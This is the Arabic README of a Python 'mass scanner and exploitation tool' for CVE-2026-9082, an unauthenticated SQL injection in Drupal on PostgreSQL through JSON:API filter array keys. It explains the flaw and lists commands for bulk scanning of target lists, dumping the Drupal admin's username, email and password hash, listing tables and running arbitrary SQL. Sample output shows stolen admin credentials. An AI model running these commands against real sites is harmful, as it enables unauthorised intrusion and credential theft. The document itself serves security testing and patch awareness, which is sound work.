الماسح: CVE-2026-9082 Drupal PostgreSQL SQLi عبر JSON:API — ماسح ضوئي بلغة Python لثغرة SQLi غير مصادق عليها تؤدي إلى RCE (CISA KEV)
حقن SQL غير مصادق عليه في نواة Drupal (PostgreSQL)
حقن مفتاح مصفوفة JSON:API عبر إساءة استخدام اسم العنصر النائب في PDO
CVE-2026-9082 هو ثغرة حقن SQL بالغة الخطورة في نواة Drupal تؤثر على جميع المواقع التي تستخدم PostgreSQL وتعمل بـ Drupal 8.0 حتى 11.3.9. وقد أُضيف إلى كتالوج CISA للثغرات المستغلة المعروفة (KEV) بتاريخ 2026-05-22 — وهو يُستغل بنشاط في البرية.
| الخطورة | CVSS | المصادقة المطلوبة | متجه الهجوم |
|---|---|---|---|
| حرجة | 9.8+ | غير مطلوبة | HTTP (JSON:API) |
pg_exec() أو COPY ... PROGRAM| الحالة | الإصدارات |
|---|---|
| ❌ متأثر | Drupal 8.0.0 → 11.3.9 (PostgreSQL backend) |
| ✅ مُصلَّح | 11.3.10, 11.2.12, 10.6.9, 10.5.10 |
تكمن المشكلة في core/modules/pgsql/src/EntityQuery/Condition.php. تستخدم طريقة translateCondition() مفاتيح مصفوفة يتحكم بها المستخدم من معاملات فلاتر JSON:API لإنشاء أسماء العناصر النائبة في PDO. يقوم PDO بتحليل [a-zA-Z0-9_] فقط كأسماء عناصر نائبة، لذا فإن أي لاحقة بعد ) تتحول إلى SQL حرفي يُحقن في الاستعلام.
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection
pg_sleep() لحقن SQL الأعمىpip (مدير حزم Python)# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082
# Install requirements
pip install requests
هذا كل شيء! تبعية واحدة فقط — requests.
python3 cve_2026_9082_scanner.py -u https://target.com --check
python3 cve_2026_9082_scanner.py -f targets.txt
صيغة targets.txt:
https://target1.com
target2.com
192.168.1.100
python3 cve_2026_9082_scanner.py -u https://target.com --version
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo
python3 cve_2026_9082_scanner.py -u https://target.com --admin
python3 cve_2026_9082_scanner.py -u https://target.com --tables
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10
# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60
| Flag | الوصف |
|---|---|
-u, --url | رابط الهدف المفرد |
-f, --file | ملف يحتوي على الأهداف (هدف واحد في كل سطر) |
-o, --output | حفظ نتائج الفحص في ملف |
--check | التحقق مما إذا كان الهدف معرضًا للخطر |
--version | استخراج إصدار PostgreSQL |
--dbinfo | استخراج مستخدم قاعدة البيانات واسمها |
--admin | استخراج بيانات اعتماد مسؤول Drupal (uid=1) |
--tables | سرد جميع جداول قاعدة البيانات |
--query | استعلام استخراج SQL مخصص |
--threads | عدد الخيوط للفحص الجماعي (الافتراضي: 20) |
--timeout | مهلة طلب HTTP (الافتراضي: 30 ثانية) |
--delay | تأخير pg_sleep للكشف (الافتراضي: 5 ثوانٍ) |
--no-ssl-verify | تخطي التحقق من شهادة TLS |
--proxy | وكيل HTTP (مثل: http://127.0.0.1:8080) |
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-9082 - Drupal PostgreSQL SQLi ║
║ Mass Scanner + Exploitation Tool v1.0.0 ║
╚══════════════════════════════════════════════════════════════╝
CISA KEV: Added 2026-05-22 | Advisory: SA-CORE-2026-004
[*] Checking: https://vulnerable-drupal-site.com
[!!] VULNERABLE - https://vulnerable-drupal-site.com
Method: time-based (+5.2s)
Resource: node/article
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...
| المصدر | الرابط |
|---|---|
| استشارة Drupal | SA-CORE-2026-004 |
| CISA KEV | CVE-2026-9082 |
| التزام الإصلاح | ea9524d9 |
| إدخال NVD | CVE-2026-9082 |
| المكتشف | Michael Maturi |
هذه الأداة مخصّصة لاختبارات الأمان المصرّح بها والأغراض التعليمية والبحث الأخلاقي فقط.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلفون أي مسؤولية ولا يكونون مسؤولين عن أي إساءة استخدام أو ضرر يسببه هذا البرنامج.
Ridhin V A (@ridhinva) — صياد مكافآت الاختراق وباحث أمني
بُني لأن CISA KEV أشارت إلى أنه يُستغل في البرية. طبّق التصحيح على مواقع Drupal الخاصة بك.